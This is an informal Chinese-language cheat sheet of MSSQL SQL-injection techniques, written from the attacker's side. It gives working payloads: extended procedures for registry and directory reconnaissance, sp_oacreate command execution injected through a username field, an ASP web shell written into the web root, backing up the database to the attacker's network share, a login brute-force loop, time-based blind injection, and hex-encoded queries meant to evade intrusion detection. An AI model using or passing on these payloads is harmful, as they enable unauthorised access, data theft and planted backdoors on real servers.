Mssql高级注入笔记II

一些sql扩展 
xp_regaddmultistring 
xp_regdeletekey 删除键名 
xp_regdeletevalue 删除键值 
xp_regenumkeys 枚举 
xp_regenumvalues 
xp_regread 对于 
xp_regremovemultistring 
xp_regwrite 写 
xp_availablemedia 查看驱动器 
xp_dirtree 看目录 
xp_enumdsn odbc数据源 
xp_loginconfig 一些服务器安全配置的信息 
xp_makecab 打包，某些dbo权限先可做大用 
xp_ntsec_enumdomains 枚举域名相关信息 
xp_terminate_process 终端进程和ip啦 
xp_logininfo 当前登录帐号 
sp_configure 检索数据库中的内容（我觉得这个挺有用的） 
sp_helpextendedproc 得到所有的存储扩展 
sp_who2 查询用户，他们登录的主机，他们在数据库中执行的操作等等 

一些网络信息 
exec xp_regread hkey_local_machine, 
'system\currentcontrolset\services\lanmanserver\parameters', 
'nullsessionshares' 
snmp辅助网络踩点 
exec xp_regenumvalues hkey_local_machine, 
'system\currentcontrolset\services\snmp\parameters\validcomm 
unities' 

开始一些系统服务,比如telnet，前提希望可以跑来admin或者一些系统密码 
exec master..xp_servicecontrol 'start', 'schedule' 
exec master..xp_servicecontrol 'start', 'server' 

sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此扩展可以运行程序 

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表： 
create table foo( line varchar(8000) ) 
然后执行bulk insert操作把文件中的数据插入到表中，如： 
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp' 

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -slocalhost –usa –pfoobar 
's'参数为执行查询的服务器，'u'参数为用户名，'p'参数为密码，这里为'foobar' 

sql server中提供了几个内置的允许创建activex自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本，或者asp脚本程序一样——他们使用vbscript或javascript书写，他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在transact-sql中做任何在asp脚本中，或者wsh脚本中可以做的任何事情 
使用'wscript.shell'对象建立了一个记事本的实例： 
declare @o int 
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'notepad.exe' 
指定在用户名后面来执行它： 
username：'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'notepad.exe'— 

使用fso读一个已知的文本文件： 
declare @o int, @f int, @t int, @ret int 
declare @line varchar(8000) 
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 
exec @ret = sp_oamethod @f, 'readline', @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_oamethod @f, 'readline', @line out 
end 

创建了一个能执行通过提交的命令，默认是asp那组权限的用户下运行，前提是sp_oacreate扩展存在 
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'createtextfile', @f out, 
'c:\inetpub\wwwroot\foo.asp', 1 
exec @ret = sp_oamethod @f, 'writeline', null, 
'<% set o = server.createobject("wscript.shell"): o.run( 
request.querystring("cmd") ) %>' 

sp_who '1' select * from sysobjects 

针对局域网渗透,备份拖库或者非sa用户 
declare @a sysname;set @a=db_name();backup database @a to disk=你的ip你的共享目录bak.dat ,name=test;-- 
当前数据库就备份到你的硬盘上了 
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连，默认需要支持多语句查询 

添加登录，使其成为固定服务器角色的成员。 
语法 
sp_addsrvrolemember [ @loginame = ] 'login' 
[@rolename =] 'role' 
参数 
[@loginame =] 'login' 
是添加到固定服务器角色的登录名称。login 的数据类型为 sysname，没有默认值。login 可以是 microsoft? sql server? 登录或 microsoft windows nt? 用户帐户。如果还没有对该 windows nt 登录授予 sql server 访问权限，那么将自动对其授予访问权限。 
[@rolename =] 'role' 
要将登录添加到的固定服务器角色的名称。role 的数据类型为 sysname，默认值为 null，它必须是下列值之一： 
sysadmin 
securityadmin 
serveradmin 
setupadmin 
processadmin 
diskadmin 
dbcreator 
bulkadmin 
返回代码值 
0（成功）或 1（失败） 
注释 
在将登录添加到固定服务器角色时，该登录就会得到与此固定服务器角色相关的权限。 
不能更改 sa 登录的角色成员资格。 
请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色。 
不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程。 
权限 
sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色。 
示例 
下面的示例将 windows nt 用户 corporate\helens 添加到 sysadmin 固定服务器角色中。 
exec sp_addsrvrolemember 'corporate\helens', 'sysadmin' 

opendatasource 
不使用链接的服务器名，而提供特殊的连接信息，并将其作为四部分对象名的一部分。 
语法 
opendatasource ( provider_name, init_string ) 
参数 
provider_name 
注册为用于访问数据源的 ole db 提供程序的 progid 的名称。provider_name 的数据类型为 char，没有默认值。 
init_string 
连接字符串，这些字符串将要传递给目标提供程序的 idatainitialize 接口。提供程序字符串语法是以关键字值对为基础的，这些关键字值对由分号隔开，例如："keyword1=value; keyword2=value." 
在 microsoft? data access sdk 中定义了基本语法。有关所支持的特定关键字值对的信息，请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。 
关键字 ole db 属性 有效值和描述 
数据源 dbprop_init_datasource 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 sql server ole db 提供程序来说，这会指明服务器的名称。对于 jet ole db 提供程序来说，这会指明 .mdb 文件或 .xls 文件的完整路径。 
位置 dbprop_init_location 要连接的数据库的位置。 
扩展属性 dbprop_init_providerstring 提供程序特定的连接字符串。 
连接超时 dbprop_init_timeout 超时值，在该超时值后，连接尝试将失败。 
用户 id dbprop_auth_userid 用于该连接的用户 id。 
密码 dbprop_auth_password 用于该连接的密码。 
目录 dbprop_init_catalog 连接到数据源时的初始或默认的目录名称。 

opendatasource 函数可以在能够使用链接服务器名的相同 transact-sql 语法位置中使用。因此，就可以将 opendatasource 用作四部分名称的第一部分，该名称指的是 select、insert、update 或 delete 语句中的表或视图的名称；或者指的是 execute 语句中的远程存储过程。当执行远程存储过程时，opendatasource 应该指的是另一个 sql server。opendatasource 不接受参数变量。 
与 openrowset 函数类似，opendatasource 应该只引用那些不经常访问的 ole db 数据源。对于访问次数稍多的任何数据源，请为它们定义链接的服务器。无论 opendatasource 还是 openrowset 都不能提供链接的服务器定义的全部功能，例如，安全管理以及查询目录信息的能力。每次调用 opendatasource 时，都必须提供所有的连接信息（包括密码）。 
示例 
下面的示例访问来自某个表的数据，该表在 sql server 的另一个实例中。 
select * 
from opendatasource( 
'sqloledb', 
'data source=servername;user id=myuid;password=mypass' 
).northwind.dbo.categories 

下面是个查询的示例，它通过用于 jet 的 ole db 提供程序查询 excel 电子表格。 
select * 
from opendatasource( 'microsoft.jet.oledb.4.0', 
'data source="c:\finance\account.xls";user id=admin;password=;extended properties=excel 5.0')...xactions 

针对msdasql 用存储过程建立的sql连接，在blackbox测试中，好象没什么注入区别 
declare @username nvarchar(4000), @query nvarchar(4000) 
declare @pwd nvarchar(4000), @char_set nvarchar(4000) 
declare @pwd_len int, @i int, @c char 
select @char_set = n'abcdefghijklmnopqrstuvwxyz0123456789!_' 
select @pwd_len = 8 
select @username = 'sa' 
while @i < @pwd_len begin 
-- make pwd 
(code deleted) 
-- try a login 
select @query = n'select * from 
openrowset(''msdasql'',''driver={sql server};server=;uid=' + @username + 
n';pwd=' + @pwd + n''',''select @@version'')' 
exec xp_execresultset @query, n'master' 
--check for success 
(code deleted) 
-- increment the password 
(code deleted) 
end 

盲注技巧之一，时间延缓（可以加一个循环函数，运行查询时间越久说说明当前字段正确） 
if (select user) = 'sa' waitfor delay '0:0:5' 

if exists (select * from pubs..pub_info) waitfor delay '0:0:5' 

create table pubs..tmp_file (is_file int, is_dir int, has_parent int) 
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini' 
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5' 
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5' 

字符对比 
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor 
delay '0:0:5' 
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' 
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5' 

编码的秘密，饶过ids 
declare @q varchar(8000) 
select @q = 0x73656c65637420404076657273696f6e 
exec(@q) 

this runs 'select @@version', as does: 

declare @q nvarchar(4000) 
select @q = 
0x730065006c00650063007400200040004000760065007200730069006f006e00 
exec(@q) 

in the stored procedure example above we saw how a 'sysname' parameter can contain 
multiple sql statements without the use of single quotes or semicolons: 

sp_msdropretry [foo drop table logs select * from sysobjects], [bar] 

嘻嘻，不知道这次被转走以后会不会看到偶的名字呢？~要有的话，就把高级注入笔记i也发出来